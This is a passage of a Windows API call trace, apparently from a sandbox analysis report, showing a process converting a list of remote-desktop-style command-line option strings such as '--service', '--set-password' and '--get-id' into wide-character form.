lpWideCharStr=0x0) returned 10 [0282.949] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d570 [0282.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0b384, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=10 | out: lpWideCharStr="--backend") returned 10 [0282.949] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d758, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0282.949] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x193d4d0 [0282.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d758, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=21 | out: lpWideCharStr="--backproxy-elevated") returned 21 [0282.949] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0aba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0282.949] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x193d4d0 [0282.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0aba0, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=19 | out: lpWideCharStr="--backproxy-system") returned 19 [0282.950] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd250c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0282.950] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x193d570 [0282.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd250c, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=11 | out: lpWideCharStr="--frontend") returned 11 [0282.950] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d73c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0282.950] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d570 [0282.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d73c, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=9 | out: lpWideCharStr="--accept") returned 9 [0282.950] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d71c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0282.950] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193d4d0 [0282.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d71c, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=16 | out: lpWideCharStr="--local-service") returned 16 [0282.951] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12adc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0282.951] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d570 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12adc, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=10 | out: lpWideCharStr="--service") returned 10 [0282.951] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d784, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0282.951] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d570 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d784, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=10 | out: lpWideCharStr="--control") returned 10 [0282.951] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12ad4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0282.951] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x193d4d0 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12ad4, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=7 | out: lpWideCharStr="--tray") returned 7 [0282.951] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12ac4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0282.951] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x193d4d0 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12ac4, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=13 | out: lpWideCharStr="--agent-tray") returned 13 [0282.951] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12ab0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0282.951] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x193d4d0 [0282.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12ab0, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=17 | out: lpWideCharStr="--agent-frontend") returned 17 [0282.952] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12aa8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0282.952] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x193d4d0 [0282.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12aa8, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=6 | out: lpWideCharStr="--gui") returned 6 [0282.952] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d774, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0282.952] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193d4d0 [0282.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0d774, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=16 | out: lpWideCharStr="--local-control") returned 16 [0282.952] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a9c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0282.952] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d570 [0282.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a9c, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=9 | out: lpWideCharStr="--loader") returned 9 [0282.952] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf6998, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0282.953] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x193d570 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf6998, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=12 | out: lpWideCharStr="--installer") returned 12 [0282.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0282.953] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d570 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a90, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=10 | out: lpWideCharStr="--install") returned 10 [0282.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0282.953] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x193d570 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a84, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=12 | out: lpWideCharStr="--uninstall") returned 12 [0282.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09fc8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0282.953] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d570 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09fc8, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=9 | out: lpWideCharStr="--remove") returned 9 [0282.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0282.953] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193d4d0 [0282.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a74, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=16 | out: lpWideCharStr="--crash-handler") returned 16 [0282.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0282.954] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x193d570 [0282.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a68, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=12 | out: lpWideCharStr="--trace-dmp") returned 12 [0282.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0282.954] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x193d570 [0282.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a5c, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=11 | out: lpWideCharStr="--settings") returned 11 [0282.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6908, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0282.954] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x193d4d0 [0282.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6908, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=17 | out: lpWideCharStr="--admin-settings") returned 17 [0282.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a4c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0282.954] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193d4d0 [0282.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a4c, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=16 | out: lpWideCharStr="--conn-settings") returned 16 [0282.955] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0282.955] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x193d4d0 [0282.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a3c, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=15 | out: lpWideCharStr="--cap-settings") returned 15 [0282.955] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0282.955] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x193d4d0 [0282.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a24, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=22 | out: lpWideCharStr="--global-rec-settings") returned 22 [0282.955] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0282.956] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x193d4d0 [0282.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a14, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=13 | out: lpWideCharStr="--trace-conv") returned 13 [0282.956] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd2574, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0282.956] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193d4d0 [0282.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd2574, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=16 | out: lpWideCharStr="--start-service") returned 16 [0282.956] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead44, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0282.956] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x193d4d0 [0282.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead44, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=15 | out: lpWideCharStr="--stop-service") returned 15 [0282.956] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0282.957] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x193d4d0 [0282.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12a00, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=18 | out: lpWideCharStr="--restart-service") returned 18 [0282.957] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0282.957] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193d4d0 [0282.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129f0, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=16 | out: lpWideCharStr="--finish-update") returned 16 [0282.957] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0282.957] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x193d4d0 [0282.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129e0, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=15 | out: lpWideCharStr="--set-password") returned 15 [0282.958] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0282.958] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x193d4d0 [0282.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129cc, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=18 | out: lpWideCharStr="--remove-password") returned 18 [0282.958] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0282.958] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x193d570 [0282.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129c0, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=12 | out: lpWideCharStr="--get-alias") returned 12 [0282.958] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0282.958] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d570 [0282.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129b4, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=9 | out: lpWideCharStr="--get-id") returned 9 [0282.958] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0282.959] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x193d4d0 [0282.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc129a0, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=19 | out: lpWideCharStr="--register-licence") returned 19 [0282.959] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1298c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0282.959] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x193d4d0 [0282.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1298c, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=19 | out: lpWideCharStr="--register-license") returned 19 [0282.959] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1297c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0282.959] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x193d4d0 [0282.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1297c, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=13 | out: lpWideCharStr="--get-status") returned 13 [0282.960] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1296c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0282.960] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x193d4d0 [0282.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1296c, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=13 | out: lpWideCharStr="--disclaimer") returned 13 [0282.960] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12960, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0282.960] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d570 [0282.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12960, cbMultiByte=-1, lpWideCharStr=0x193d570, cchWideChar=10 | out: lpWideCharStr="--version") returned 10 [0282.960] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d570 | out: hHeap=0x1930000) returned 1 [0282.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12950, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0282.960] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x193d4d0 [0282.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12950, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=16 | out: lpWideCharStr="--unblock-input") returned 16 [0282.960] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f554, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0282.960] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x193d4d0 [0282.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f554, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=13 | out: lpWideCharStr="--gc-starter") returned 13 [0282.961] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf6a54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0282.961] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x193d4d0 [0282.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf6a54, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=21 | out: lpWideCharStr="--message-system-app") returned 21 [0282.961] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12940, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0282.961] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x193d4d0 [0282.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12940, cbMultiByte=-1, lpWideCharStr=0x193d4d0, cchWideChar=14 | out: lpWideCharStr="--add-profile") returned 14 [0282.961] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d4d0 | out: hHeap=0x1930000) returned 1 [0282.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1292c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0282.961] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x193d4d0 [0282.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1292c, cbMultiByte=-1, 